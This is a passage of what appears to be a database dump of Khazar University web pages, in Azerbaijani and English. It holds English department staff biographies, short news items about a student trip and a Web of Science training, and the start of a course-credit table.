səviyyəsi üzrə Universitetin Hüquq\r\nfakültəsini yüksək fəxri diplomla bitirmişdir.&nbsp;&nbsp;Əsas kurslar: mülki hüquq/proses,\r\ncinayət hüququ/proses, əmək hüququ,&nbsp;Konstitusiya hüququ.2002-2003-cü illərdə əlavə təhsil\r\nkurslarında təhsilini davam etdirərək,beynəlxalq\r\nmünasibətlər nəzəriyyəsi, beynəlxalq ictimai / xüsusi hüquq, beynəlxalq\r\niqtisadi münasibətlər və beynəlxalq hüquq sahəsində bakalavr dərəcəsi almışdır.\r\nDaha sonra Fəlsəfə Doktoru Eldar Şahgəldiyevin elmi rəhbərliyi ilə “Zərflərin\r\nvə sifətlərin müqayisəli təhlili (Linqvistik tendensiyalar)“ mövzusunda magistr\r\ndissertasiyasını müdafiə etmiş və ingilis dili və ədəbiyyatı üzrə fəxri magistr\r\ndiplomuna layiq görülmüşdür.</p>\r\n<p><br></p>\r\n<p><br></p>\r\n<p><br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><img src=\"/files/eng_depart/aziza.jpg\" style=\"float:left;width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong>Əzizə Zülfüqarova</strong></p><p style=\"text-align:justify\">2011-ci\r\nildə Xəzər Universitetinə daxil olmuş və ingilis dili və ədəbiyyatı üzrə\r\nmagistr dərəcəsini almışdır. O. Universitetdə IELTS, Amerikan İngilis dilinin\r\ninkişafı, sociolinqvistika, dilçilikdə tədqiqat metodları, İngilis ədəbiyyatının\r\ntədqiqi və digər fənlər tədris etmişdir.“Tranzitiv\r\nvə qeyri-tranzitiv fellər və onların işlənmə xüsusiyyətləri” adlı magistr\r\nmövzusunu 2014-cü ildə uğurla müdafiə edərək magistr dərəcəsini almışdır.&nbsp; 2012-ci\r\nildən etibarən Xəzər Universitetinin ingilis dili və ədəbiyyatı kafedrasında\r\ningilis dilinin əsasları fənnini tədris edir.</p>\r\n<p><br></p>\r\n<p><br></p>\r\n<p><br></p>\r\n<p><br></p>\r\n<p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><img src=\"/files/eng_depart/yegane-bagirova.jpg\" style=\"float:left;width:150px;height:197px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong>Yeganə Bağırova</strong></p>\r\n<p class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"http://www.khazar.org/files/pdf/yegane%20bagirova.jpg\" rel=\"media4869223974879118\" width=\"150\" height=\"100\" style=\"text-align: justify;\">2011-2013-cü illər də Xəzər Universitetinin Humanitar və social Elmlər\r\nfakültəsinin İngilis dili və ədəbiyyatı kafedrasında ümumi dilçilik ixtisası\r\nüzrə magistr dərəcəsi almışdır. 2013-cü\r\nildən Xəzər Universitetinin İngilis dili və ədəbiyyatı kafedrasında ingilis\r\ndili müəllimi vəzifəsində çalışır.</p>\r\n<p><br></p>\r\n<p><br></p>\r\n<p><br></p>'),(1805,1118,'az','Mühəndislik və tətbiqi elmər fakültəsi İsmayıllı və Qəbələ rayonlarına səfər etdi','2016-ci il mayın 15-də Xəzər Universitetinin Mühəndislik və tətbiqi elmər fakültəsinin əməkdaşları və tələbələri İsmayıllı və Qəbələ rayonlarına bir günlük səfər etdilər.','<p>2016-ci il mayın 15-də Xəzər Universitetinin Mühəndislik\r\nvə tətbiqi elmər fakültəsinin əməkdaşları və tələbələri İsmayıllı və Qəbələ\r\nrayonlarına bir günlük səfər etdilər. Onlar Basqal kənidinin istirahət mərkəzlərindən\r\nbirində nahar etdikdən sonra müxtəlif oyunlar oynayaraq, vaxtlarını səmərəli\r\nkeçirdilər. Daha sonra Qəbələ rayonunun görməli yerlərinə baş çəkdilər.</p>\r\n<p>Tələbələr bu cür səfərlərin tez-tez təşkil\r\nolunmasını xahiş etdilər.</p>'),(1806,1118,'en','School of Engineering and Applied Sciences Visits Ismayilli and Gabala','On May 15, 2016, staff and students of the School of Engineering and Applied Sciences visited Ismayilli and Gabala. ','<p>On\r\nMay 15, 2016, staff and students of the School of Engineering and Applied\r\nSciences visited Ismayilli and Gabala.&nbsp; After eating lunch at one of the\r\nrecreation centers in Basgal, they spent time resting and playing various\r\ngames. Then they spent the day visiting the sights of the Gabala region. The\r\ntrip was interesting and memorable. Students request that the school organize\r\nsuch visits frequently.</p>'),(923,606,'en','Alumni & Friends','Alumni & Friends','<p style=\"text-align:justify\"><strong><img src=\"/files/eng_depart/gulnaz_haciyeva.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:208px\"></strong><strong>Gulnaz Hajiyeva</strong></p><p<strong>\r\n<p style=\"text-align:justify\">Got her M.A. degree in British\r\nLiterature at the School of Humanities and Social Sciences, English Language\r\nand Literature Department, with a diploma with honors in 2001.&nbsp;Since 2009, she has taught English at the\r\nEnglish Language and Literature Department of Khazar University. </p>\r\n<p>&nbsp;</p>  <p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><img src=\"/files/image/14_05_26_Parvin_Karimova.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\"><strong>Parvin Karimova</strong>&nbsp;</p><p style=\"text-align:justify\">Got her Bachelor’s degree at the English Language and Literature\r\nDepartment, School of Humanities and Social Sciences (English-Persian), with an\r\nhonors diploma in 2008. Later on, in 2012, she got her Master’s degree in\r\nPhilology from the English Language and Literature Department. She has been\r\nworking at Khazar University and teaching several courses in English since\r\n2009.&nbsp;  </p> <p>&nbsp;</p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/eng_depart/aziza.jpg\" style=\"float:left;width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong>Aziza Zulfugarova</strong></p><p>In 2011 she entered Khazar University\r\nand got her Master\'s Degree in the English Language and Literature. During her years\r\nof study, she took a variety of courses, such as IELTS, Development of American\r\nEnglish, Sociolinguistics, Research Methods in Linguistics, Survey of British\r\nLiterature, and some others. In 2014, she successfully defended her Master’s thesis\r\n\"Transitive and Intransitive Verbs and Peculiarities of Their Usage and\r\nwas awarded a Master’s degree. In September 2012, she began teaching English\r\nFoundations at the Department of English Language and Literature at Khazar\r\nUniversity.</p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><img src=\"/files/pdf/leyla.jpg\" style=\"width:150px;height:197px;margin:7px;float:left\"><strong>Leyla Rahimova</strong></p><p style=\"text-align:justify\">In 1998, she entered Khazar University\r\nand received a Bachelor’s degree in Law (high honors diploma) in 2002. In\r\naddition to her major courses in Civil Law/Process, Criminal Law/Process, Labor\r\nLaw, Constitutional Law, and to further her education, in 2002-2003 she\r\nattended courses in Theory of International Relations, International\r\nPublic/Private Law, and International Economic Relations and obtained a\r\nBachelor’s degree in International Law (high honors diploma). In 2011-2014, she\r\ndid her Master\'s at Khazar University where she studied Linguistics, Literary\r\nStudies, Research Methods and Ethics, and Pre-IELTS as major courses. She went on\r\nto defend her master\'s thesis on \"Comparative Analysis of Adverbs and Adjectives\r\n(Linguistic Trends)\" under the supervision of Eldar Shahgaldiyev, Ph.D.,\r\nand obtained a Master’s degree in the English Language and Literature (honors diploma).</p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/eng_depart/yegane-bagirova.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:197px\"><strong>Yegana\r\nBaghirova</strong></p><p style=\"text-align:justify\">Studied for her Master’s degree in\r\nGeneral Linguistics at Khazar University School of Humanities and Social\r\nSciences, English Language and Literature Department, in 2011-2013. Since 2013,\r\nshe has been teaching English at the English Language and Literature Department\r\nof Khazar University.&nbsp;</p>\r\n<p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><img src=\"/files/eng_depart/Zarifa.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:223px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Zarifa Aliyeva</strong>&nbsp;</p><p style=\"text-align:justify\">Completed her Bachelor’s degree at the\r\nEnglish Language and Literature Department, School of Humanities and Social\r\nSciences, with an honors diploma in 2000. Later on, in 2001, she got her M.A.\r\ndegree from the English Language and Literature Department of Khazar\r\nUniversity, with a diploma with honors. She has been working at Khazar\r\nUniversity since 2000. In 2013, she became a Vice-Dean at the Khazar University\r\nSchool of Education.</p></p<strong>'),(4790,2847,'az','“Xəzər”in professorunun məqaləsi çap olunub','2018-ci il yanvarın 14-də “Эхо” qəzetinin internet səhifəsində Xəzər Universiteti Avrasiya Bilik Mərkəzinin direktoru, universitetin professoru...','<p>2018-ci il yanvarın 14-də “Эхо” qəzetinin internet səhifəsində Xəzər Universiteti Avrasiya Bilik Mərkəzinin direktoru, universitetin professoru İnqilab Əhmədovun “Выбор за вами, или почему умные люди принимают глупые решения” (“Seçimi siz etməlisiniz, yaxud ağıllı adamlar niyə səfeh qərarlar qəbul edirlər”) adlı məqaləsi dərc edilmişdir.</p><p>Məqalə məişətdə iqtisadi qərarların qəbul ediməsi məsələlərinə həsr olunmuşdur.</p><p>Məqaləni aşağıdakı link vasitəsilə oxumaq olar:</p><p><a href=\"http://ru.echo.az/?p=66407\">http://ru.echo.az/?p=66407</a>.</p>'),(1932,1184,'az','“Xəzərli”lərin iştirak etdiyi treninqi mətbuatda işıqlandırıldı','2016-cı il iyunun 2-də Azərbaycan Dövlət Neft və Sənaye Universitetində (ADNSU) “Thomson Reuters”-in Web of Science ilə iş, metodologiya, əməkdaşlıq əlaqələri və digər istiqamətlərlə bağlı alimlərə bilgilərin verilməsi məqsədilə aparılan treninqlərə yekun vuruldu. ','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil iyunun 2-də Azərbaycan Dövlət Neft və Sənaye Universitetində (ADNSU)\r\n“Thomson Reuters”-in <em>Web of Science</em> ilə iş, metodologiya, əməkdaşlıq əlaqələri\r\nvə digər istiqamətlərlə bağlı alimlərə bilgilərin verilməsi məqsədilə aparılan\r\ntreninqlərə yekun vuruldu. Treninqlərdə Xəzər Universitetinin əməkdaşları da\r\niştirak edirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Treninq\r\nhaqqında “Azərbaycan müəllimi” qəzetinin rəsmi internet səhifəsində məlumat\r\nverilmişdir:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://muallim.edu.az/content/?category=arxiv&amp;issue=21&amp;content_id=11\">http://muallim.edu.az/content/?category=arxiv&amp;issue=21&amp;content_id=11</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">&nbsp;</p>'),(1933,1184,'en','Training with Participating Khazar Staff Covered in Media','On June 2, 2016, the training held at Azerbaijan State University of Oil and Industry covering how to work with Thomson Reuters Web of Science as well as serving partnership and networking purposes was completed.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On June 2, 2016, the\r\ntraining held at Azerbaijan State University of Oil and Industry covering how\r\nto work with Thomson Reuters Web of Science as well as serving partnership and\r\nnetworking purposes was completed. Khazar University faculty and staff members\r\nwere also present at the seminar. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Information about\r\nthe training was published on the official website of “Azərbaycan müəllimi”\r\n(Azerbaijani Teacher) at the following link: <a href=\"http://muallim.edu.az/content/?category=arxiv&amp;issue=21&amp;content_id=11\">http://muallim.edu.az/content/?category=arxiv&amp;issue=21&amp;content_id=11</a></p>'),(924,603,'az','Əsas İxtisas proqramları','Əsas İxtisas proqramları','<h3><strong></strong></h3><p style=\"font-family:\'times new roman\', times, serif;text-align:center;color:#003399;font-size:large\"><strong style=\"font-size:x-large\">İngilis dili və Ədəbiyyatı Departamenti tərəfindən təklif olunan fənnlər</strong></p><p style=\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\" \"=\"\"><strong>&nbsp;</strong></p><strong style=\"color:#003399\">\r\n<div style=\"text-align:center\">\r\n<table width=\"674\" height=\"1479\" cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr id=\"zebra\">\r\n  <td width=\"121\">\r\n  <p style=\"text-align: center;\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal;background:white\"\"=\"\"><strong>CODE</strong></p></td>\r\n  <td width=\"331\">\r\n  <p style=\"text-align: center;\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><strong>COURSES</strong><strong></strong></p>\r\n  </td>\r\n  <td width=\"187\">\r\n  <p style=\"text-align: center;\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><strong>CREDITS</strong><strong></strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>EDU 410</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:16.6pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Internship</em></p>\r\n  </td>\r\n  <td style=\"text-align: center;\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:16.6pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"text-align: left;\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>ENGL\r\n  101</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>English Foundations 1</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>8</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>ENGL\r\n  102</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:22.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>English Foundations 2</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:22.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>8</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>ENGL\r\n  103</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>Academic English</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>8</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>ENGL\r\n  216</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:17.5pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>ESP (economic/engineering/education/social)</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:17.5pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 218</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:22.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Academic Language Skills</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:22.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 201</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:17.5pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>English Grammar pre-advanced</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:17.5pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 202</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:16.15pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>English Grammar advanced</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:16.15pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 206</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:19.75pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ESL pre-advanced</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:19.75pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 207</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:19.75pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Introduction to translation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:19.75pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL\r\n  212</em><em></em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:19.75pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>English\r\n  for Currents Events</em><em></em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:19.75pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>LING 215</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:19.75pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Introduction to Linguistics</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:19.75pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em><em></em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>ENGL 217</em></p></td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:10.75pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>ESL\r\n  advanced</em><em></em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:10.75pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>6</em><em></em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 301</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:10.75pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Translation Practice</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:10.75pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" 